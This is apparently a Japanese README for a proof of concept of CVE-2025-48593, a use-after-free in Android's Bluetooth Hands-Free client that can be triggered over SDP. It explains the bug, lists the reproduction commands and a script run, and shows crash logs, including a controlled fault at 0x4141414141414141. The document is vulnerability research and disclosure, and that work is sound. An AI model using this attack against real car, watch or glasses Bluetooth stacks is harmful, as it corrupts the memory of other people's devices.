CVE-2025-48593のパッチを基にした概念実証です。

心配する必要はありません。私の知る限り、スマートフォンはCVE-2025-48593に対して脆弱ではありません。この問題は、Bluetoothヘッドフォン/スピーカーとして動作できるAndroidデバイス（スマートウォッチ、スマートグラス、車など）にのみ影響します。さらに、攻撃者は被害者にペアリングさせてからでないとヘッドセットサービスにアクセスできません。スマートウォッチ/スマートグラス/車でペアリングリクエストを受け入れなければ、問題はありません。

この概念実証には何の役にも立ちません。Android Automotiveエミュレータをfault addr 0x4141414141414141でクラッシュさせるだけです。

詳細はブログの私の記事をご覧ください。

Results

Android StudioのAndroid Automotive 14エミュレータに対して実行すると、次の結果が得られます：```

Build fingerprint: 'google/sdk_gcar_arm64/emulator_car64_arm64:14/UAA1.250512.001/13479943:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-12-01 17:28:17.644347763-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 6386, tid: 6424, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1001002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141414141414141 x0 4141414141414141 x1 b4000073106a14a0 x2 0000000000000103 x3 414141414141413e x4 b4000073106a15a3 x5 4141414141414241 x6 0000000000000100 x7 000000000000010f x8 0000000000000000 x9 4141414141414141 x10 0000000000000002 x11 00000070c20c8558 x12 0000000000000018 x13 00000000ffffffbf x14 0000000000000003 x15 0000000000000001 x16 00000070c253f470 x17 00000073f6ee3a40 x18 00000070bb2c6060 x19 00000070c258c0c0 x20 b4000073106a14a3 x21 0000000000000100 x22 00000070bc384000 x23 000000004141413e x24 00000070bc384000 x25 00000070bc384000 x26 00000070bc383ff8 x27 00000000000fc000 x28 00000000000fe000 x29 00000070bc383470 lr 00000070c20c3d58 sp 00000070bc383460 pc 00000073f6ee3b38 pst 00000000a0001000

15 total frames backtrace: #00 pc 000000000005fb38 /apex/com.android.runtime/lib64/bionic/libc.so (__memcpy_aarch64_simd+248) (BuildId: 8bd98d931a32d13659267d7d53286e73) #01 pc 00000000006aad54 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_copy_raw_data(tCONN_CB*, bool)+344) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #02 pc 00000000006aa0c0 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+624) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #03 pc 00000000006a9760 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+212) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #04 pc 00000000007387b4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+9412) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #05 pc 00000000009d6ce8 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*)+196) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #06 pc 00000000009d6260 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::RunTask(base::PendingTask*)+352) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #07 pc 00000000009d6574 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessageLoop::DoWork()+452) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #08 pc 00000000009d8964 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+100) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #09 pc 00000000009e4a34 /apex/com.android.btservices/lib64/libbluetooth_jni.so (base::RunLoop::Run()+64) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #10 pc 000000000069aaa4 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::Run(std::__1::promise)+336) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #11 pc 000000000069a584 /apex/com.android.btservices/lib64/libbluetooth_jni.so (bluetooth::common::MessageLoopThread::RunThread(bluetooth::common::MessageLoopThread*, std::__1::promise)+48) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #12 pc 000000000069b090 /apex/com.android.btservices/lib64/libbluetooth_jni.so (void* std::__1::__thread_proxy<std::__1::tuple<std::__1::unique_ptr<std::__1::__thread_struct, std::__1::default_deletestd::__1::__thread_struct >, void ()(bluetooth::common::MessageLoopThread, std::__1::promise), bluetooth::common::MessageLoopThread*, std::__1::promise > >(void*)+84) (BuildId: fe3c1bf88cf688f5197df2b2f326f723) #13 pc 00000000000cb6a8 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+208) (BuildId: 8bd98d931a32d13659267d7d53286e73) #14 pc 000000000006821c /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 8bd98d931a32d13659267d7d53286e73)

## その他の結果

これらは、バッファの再割り当て方法を解明する前の[最初の概念実証](https://github.com/zhuowei/blueshrimp/tree/first-poc)からのものです。

Android 15エミュレータを強制的にBluetoothスピーカーとして動作させた後、このコードを実行するとヌル参照が発生します。```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys'
Revision: '0'
ABI: 'arm64'
Timestamp: 2025-11-13 22:03:35.264596895-0500
Process uptime: 0s
Cmdline: com.google.android.bluetooth
pid: 5549, tid: 5589, name: bt_main_thread  >>> com.google.android.bluetooth <<<
uid: 1002
tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x2a20010000000000
    x0  00000074d49ccf5a  x1  b4000076cb2f4f80  x2  0000000000000035  x3  000000752fd5403c
    x4  b4000075cb32c6f9  x5  b40000764b322462  x6  0000000000000035  x7  b4000076db2ef159
    x8  0007ac63ecbcb3da  x9  0000000000000002  x10 b40000764b322460  x11 00000074d476c3a4
    x12 000000000000000c  x13 000000007fffffff  x14 0000000000000001  x15 000006a9e9459ce0
    x16 00000074d4974360  x17 00000077fcd25700  x18 00000074d0aa8060  x19 00000074d49ccf5a
    x20 00000074d3e9d98b  x21 2a20010000000000  x22 00000074d3e28d23  x23 00000074d414ae8c
    x24 000000752fd54a80  x25 0000000000003002  x26 b4000076cb2f4f80  x27 00000074d3e9d92c
    x28 000000752fd541f0  x29 000000752fd53fd0
    lr  00000074d476702c  sp  000000752fd53940  pc  00000074d476ab88  pst 0000000060001000

14 total frames
backtrace:
      #00 pc 0000000000969b88  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_log_attribute_metrics(RawAddress const&, tSDP_DISCOVERY_DB*)+284) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #01 pc 0000000000966028  /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+1104) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #02 pc 0000000000965884  /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_data_ind(unsigned short, BT_HDR*)+296) (BuildId: 6f08819253185bc44c9fec07ed93c598)
      #03 pc 00000000009f45cc  /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+12968) (BuildId: 6f08819253185bc44c9fec07ed93c598)

With malloc_debug set to fill on free, I get:```

Build fingerprint: 'google/sdk_gphone64_arm64/emu64a:15/AE3A.240806.043/12960925:userdebug/dev-keys' Revision: '0' ABI: 'arm64' Timestamp: 2025-11-13 22:44:39.509419570-0500 Process uptime: 0s Cmdline: com.google.android.bluetooth pid: 7391, tid: 7422, name: bt_main_thread >>> com.google.android.bluetooth <<< uid: 1002 tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE) pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY) signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xb4000076954f3000 x0 b4000076954f3002 x1 b4000076954e48a8 x2 000000000000ebeb x3 000000764031dd58 x4 0000000000000004 x5 68746f6f7465756c x6 68746f6f7465756c x7 b4000076f54d5ad9 x8 b4000076954f2fff x9 000000000000d78b x10 0000000000000009 x11 0000000000000009 x12 000000000000d78b x13 0000000000000008 x14 0000000000000004 x15 000006b7ae6ad944 x16 0000000000000001 x17 000000794c270af0 x18 0000007578ca8070 x19 000000757e7cff58 x20 0000000000000000 x21 0000000000000000 x22 b4000076954c9950 x23 0000000000000043 x24 000000764031ea80 x25 b4000076954c9965 x26 b4000076954c9968 x27 000000764031ea80 x28 000000764031df70 x29 000000764031ddb0 lr 000000757e569d30 sp 000000764031dd50 pc 000000757e56ec08 pst 0000000080001000

17 total frames backtrace: #00 pc 000000000096ac08 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdpu_build_attrib_seq(unsigned char*, unsigned short*, unsigned short)+112) (BuildId: 6f08819253185bc44c9fec07ed93c598) #01 pc 0000000000965d2c /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_service_search_attr_rsp(tCONN_CB*, unsigned char*, unsigned char*)+340) (BuildId: 6f08819253185bc44c9fec07ed93c598) #02 pc 0000000000965494 /apex/com.android.btservices/lib64/libbluetooth_jni.so (sdp_config_cfm(unsigned short, unsigned short, tL2CAP_CFG_INFO*)+248) (BuildId: 6f08819253185bc44c9fec07ed93c598) #03 pc 00000000009f7364 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_indicate_connection_open(t_l2c_ccb*)+220) (BuildId: 6f08819253185bc44c9fec07ed93c598) #04 pc 00000000009f346c /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_csm_execute(t_l2c_ccb*, tL2CEVT, void*)+8520) (BuildId: 6f08819253185bc44c9fec07ed93c598) #05 pc 00000000009fe380 /apex/com.android.btservices/lib64/libbluetooth_jni.so (process_l2cap_cmd(t_l2c_linkcb*, unsigned char*, unsigned short)+376) (BuildId: 6f08819253185bc44c9fec07ed93c598) #06 pc 00000000009fdf64 /apex/com.android.btservices/lib64/libbluetooth_jni.so (l2c_rcv_acl_data(BT_HDR*)+624) (BuildId: 6f08819253185bc44c9fec07ed93c598)

実際のデバイスではテストしていません。

## 私の理解していること

Bluetoothヘッドフォンは [Handsfree Profile](https://github.com/zhuowei/blueshrimp/blob/HEAD/%3Chttps:/en.wikipedia.org/wiki/List_of_Bluetooth_profiles#Hands-Free_Profile_(HFP)>) を使用します。

Handsfree Profileは特別です。ほとんどのBluetoothサービスでは一方がクライアント、もう一方がサーバーとして動作しますが、ヘッドセットと接続デバイス（例：電話）の両方がBluetoothサーバーを実行する必要があります。

電話がヘッドセットのHandsfreeサービス (0x111e) に接続した後、ヘッドセットは電話のHandsfree Audio Gatewayサービス (0x111f) に接続し返します。

電話がヘッドセットのHandsfreeサービスへのRFCOMM接続を開くと、ヘッドセットのhf_clientコード内で次のようになります：

- [bta_hf_client_allocate_handle](https://cs.android.com/android/platform/superproject/main/+/main:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=556;drc=875c5971d0201d3c67cc166ad9ab8b2b4a7cab7f) はプールから `tBTA_HF_CLIENT_CB` ハンドルを割り当てます
- [bta_hf_client_do_disc](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=382;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は `tSDP_DISCOVERY_DB` を割り当て、`client_cb->p_disc_db` に格納し、SDPディスカバリを開始します
- [SDP_ServiceSearchAttributeRequest2](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_api.cc;l=205;drc=138659ad3ff2961010b9cacd36fceb36ba73dcce) は `tSDP_DISCOVERY_DB` を `tCONN_CB` の `p_ccb->p_db` に格納し、電話のSDPサービスに接続します
- これで `tSDP_DISCOVERY_DB` はhf_clientの `client_cb->p_disc_db` ハンドルとSDPレイヤーの `p_ccb->p_db` の両方に格納されます

電話のRFCOMM接続が閉じられると：

- [bta_hf_client_mgmt_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_rfc.cc;l=143;drc=86d90eee9dd37eccdd19449b9d72b883df060f9b) は `BTA_HF_CLIENT_RFC_CLOSE_EVT` を発行します
- [bta_hf_client_st_opening 状態テーブル](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=157;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は [bta_hf_client_rfc_close](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=278;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) のハンドラを呼び出し、状態機械を `BTA_HF_CLIENT_INIT_ST` にリセットします
- [bta_hf_client_sm_execute](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=728;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は状態遷移を検出し、`tBTA_HF_CLIENT_CB` ハンドルをプールに戻して割り当てを解除します
- しかし、パッチ適用前は、SDP接続はキャンセルされず、応答を待っています
- この時点で、`tBTA_HF_CLIENT_CB` が未割り当てプールに戻され、`client_cb->p_disc_db` はまだ設定されており、SDPディスカバリもアクティブのままです

電話がエラーでSDPディスカバリに応答すると：

- [bta_hf_client_sdp_cback](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=85;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は `BTA_HF_CLIENT_DISC_INT_RES_EVT` を発行します
- [bta_hf_client_st_opening 状態テーブル](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_main.cc;l=164;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は [bta_hf_client_disc_int_res](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_act.cc;l=319;drc=031a4c3b0a00602b7bbd08ffd8b4d02fdccb5989) のハンドラを呼び出します
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は `client_cb->p_disc_db` を解放します
- したがって、`tSDP_DISCOVERY_DB` は解放され、`client_cb->p_disc_db` は null になり、SDPレイヤーはディスカバリDBへの `p_ccb->p_db` を持たなくなります。

ただし、最初のSDPディスカバリが返る前に電話が再度RFCOMMを開くと：

- ハンドルを再割り当てし（おそらく以前プールに戻された同じハンドル）、再びディスカバリを呼び出します。
- `client_cb->p_disc_db` は新しい `tSDP_DISCOVERY_DB` を指し、SDPレイヤーは2つの `tSDP_DISCOVERY_DB` を保持します：一方の `p_ccb->p_db` は最初の接続の古いDBを保持し、もう一方の `p_ccb->p_db` は2番目の接続の新しいDBを保持します。

ここで、電話が最初のSDPディスカバリにエラーで応答します：

- SDPレイヤーは最初の接続の `p_ccb` を閉じます
- [bta_hf_client_free_db](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/bta/hf_client/bta_hf_client_sdp.cc;l=413;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は `client_cb->p_disc_db` を解放します。これは _2番目_ の接続のDBです。
- これでhf_clientの `client_cb->p_disc_db` は解放されnullに設定され、最初の接続のSDPの `p_ccb` はなくなります。
- しかし、2番目の接続の `p_ccb` はまだアクティブであるため、2番目のSDPディスカバリリクエストの `p_ccb->p_db` は解放された `tSDP_DISCOVERY_DB` を指しています。

最終的に、電話が2番目のSDPディスカバリに実際の応答で応答します：

- SDPレイヤーは [sdp_data_ind](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_main.cc;l=234;drc=0e45ce1dc53e611da84344e7c5a11108ad7dba46) で受信データを処理し、sdp_disc_server_rsp にディスパッチします
- [process_service_search_attr_rsp](https://cs.android.com/android/platform/superproject/+/android-latest-release:packages/modules/Bluetooth/system/stack/sdp/sdp_discovery.cc;l=683;drc=769caf391c6055c6f9db945b71d96b2f01c8799c) は `p_ccb->p_db` からの読み取りを開始します
- `p_db` は最初のSDPディスカバリのエラー応答によって既に `bta_hf_client_free_db` で解放されていたため、2番目のSDP応答が use-after-free を引き起こします。

## 私が理解できないこと：

- Bionicは [malloc_debug](https://android.googlesource.com/platform/bionic/+/master/libc/malloc_debug/README.md) をサポートしています：`"LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"` を設定すると、解放時にメモリが `0xef` で埋められます。なぜクラッシュログに `0xef` が見られないのですか？

## 実行方法

Android Automotive 14、API 34-ext9、「Android Automotive with Google APIs arm64-v8a System Image」バージョン5のAndroid Studioエミュレータを作成します。これには初期状態でHeadset Clientが有効になっています。

あるいは、非AutomotiveのAndroid EmulatorでBluetoothヘッドフォンをエミュレートするには：

Android StudioでAndroid 15用のローカルAndroid Emulatorを起動します。（Android 15用Android Emulator、「Google APIs ARM 64 v8a System Image」バージョン9を使用しています）```
adb root
adb shell
setprop bluetooth.profile.hfp.hf.enabled true
# optionally:
# setprop wrap.com.google.android.bluetooth "LIBC_DEBUG_MALLOC_OPTIONS=fill\ verbose"
am force-stop com.google.android.bluetooth

それから``` python3 -m venv env . env/bin/activate pip install bumble bumble-pair --mode classic device.json android-netsim DA:4C:10:DE:17:00

accept pairing in terminal and in emulator, then Ctrl+C after pairing completes

python3 blueshrimp.py

you need to run it twice for some reason...

python3 blueshrimp.py

エミュレータが脆弱な場合（例：Android 15 API 35 "Google APIs ARM 64 v8a System Image" リビジョン9）、次の結果が得られます：```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763097284.153459 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763097284.158812 24000650 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x1025ae3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(00001106-0000-1000-3500-1C0000110600)])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
(env) zhuowei-laptop:blueshrimp zhuowei$

そして、logcatにクラッシュが表示されます。

または、LIBC_DEBUG_MALLOC_OPTIONSを使用して：``` (env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py WARNING: All log messages before absl::InitializeLog() is called are written to STDERR I0000 00:00:1763097125.539691 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers I0000 00:00:1763097125.546204 23998204 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers <bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104bc23c0>> open dlc!!!!!!! got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]: service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))]) maximum_attribute_byte_count: 1008 attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)]) continuation_state: 00 Traceback (most recent call last): File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in asyncio.run(main()) ~~~~~~~~~~~^^^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run return runner.run(main) ~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run return self._loop.run_until_complete(task) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete return future.result() ~~~~~~~~~~~~~^^ File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 87, in main requests[1]) ~~~~~~~~^^^ IndexError: list index out of range (env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py WARNING: All log messages before absl::InitializeLog() is called are written to STDERR I0000 00:00:1763097146.578122 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers I0000 00:00:1763097146.584279 23998494 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers <bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x104f4e3c0>> open dlc!!!!!!! got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]: service_search_pattern: SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))]) maximum_attribute_byte_count: 1008 attribute_id_list: SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)]) continuation_state: 00 Traceback (most recent call last): File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in asyncio.run(main()) ~~~~~~~~~~~^^^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run return runner.run(main) ~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run return self._loop.run_until_complete(task) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^ File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete return future.result() ~~~~~~~~~~~~~^^ File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 76, in main await channel.disconnect() File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/rfcomm.py", line 645, in disconnect await self.disconnection_result asyncio.exceptions.CancelledError

エミュレータが脆弱でない場合（例：Android 16 API 36.1 "Google APIs ARM 64 v8a System Image" revision 3）```
(env) zhuowei-laptop:blueshrimp zhuowei$ python3 blueshrimp.py
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
I0000 00:00:1763092971.476083 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
I0000 00:00:1763092971.486513 23945806 fork_posix.cc:71] Other threads are currently calling into gRPC, skipping fork() handlers
<bound method Server.on_sdp_service_search_attribute_request of <bumble.sdp.Server object at 0x10697e3c0>>
open dlc!!!!!!!
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
got SDP, doing NOTHING SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST [TID=0]:
  service_search_pattern:       SEQUENCE([UUID(UUID-16:111F (HandsfreeAudioGateway))])
  maximum_attribute_byte_count: 1008
  attribute_id_list:            SEQUENCE([UNSIGNED_INTEGER(1#2),UNSIGNED_INTEGER(9#2),UNSIGNED_INTEGER(785#2)])
  continuation_state:           00
Traceback (most recent call last):
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 91, in <module>
    asyncio.run(main())
    ~~~~~~~~~~~^^^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 195, in run
    return runner.run(main)
           ~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/runners.py", line 118, in run
    return self._loop.run_until_complete(task)
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
  File "/opt/homebrew/Cellar/[email protected]/3.13.4/Frameworks/Python.framework/Versions/3.13/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
    return future.result()
           ~~~~~~~~~~~~~^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/blueshrimp.py", line 86, in main
    device.sdp_server.orig_on_sdp_service_search_attribute_request(
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        requests[1])
        ^^^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1330, in on_sdp_service_search_attribute_request
    self.send_response(
    ~~~~~~~~~~~~~~~~~~^
        SDP_ServiceSearchAttributeResponse(
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ...<4 lines>...
        )
        ^
    )
    ^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/sdp.py", line 1063, in send_response
    self.channel.send_pdu(response)
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^
  File "/Users/zhuowei/Documents/winprogress/oculus/stella/blueshrimp/env/lib/python3.13/site-packages/bumble/l2cap.py", line 772, in send_pdu
    raise InvalidStateError('channel not open')
bumble.core.InvalidStateError: channel not open
(env) zhuowei-laptop:blueshrimp zhuowei$

物理的なBluetooth USBアダプターに関する注意事項

私はmacOS上でBumbleと共にTP-Link UB400 v2.6（RTL8761BU）を使用しています。

当初、ASUS USB-BT500 v2アダプター（RTL8761CU）を試しましたが、macOS上のBumbleでは動作しないことがわかりました。BumbleがL2CAP接続を確立しようとすると、ターゲットデバイスは接続要求パケットを受信して応答を送信しますが、USB-BT500 v2がその応答をまったく受信できず、接続が失敗します。

（ASUS USB-BT500 v2はLinux上のBumbleでは正常に動作します。）

ツール

このリポジトリには、エミュレーター内のBluetoothプロセスをトレースするためのdumpbt.js Fridaスクリプトも含まれています：``` sym_bta_hf_client_allocate_handle called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_do_disc called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f73a0 sym_bta_hf_client_allocate_handle called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0x0 bta_hf_client_do_disc called bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 sdpu_find_ccb_by_cid called 0x48 sdpu_find_ccb_by_cid result 0x74d95d2ea8 p_db 0xb4000076cb2f73a0 bta_hf_client_find_cb_by_handle called 0x1 bta_hf_client_find_cb_by_handle result 0x74d95a4a30 p_disc_db 0xb4000076cb2f6190 bta_hf_client_free_db called 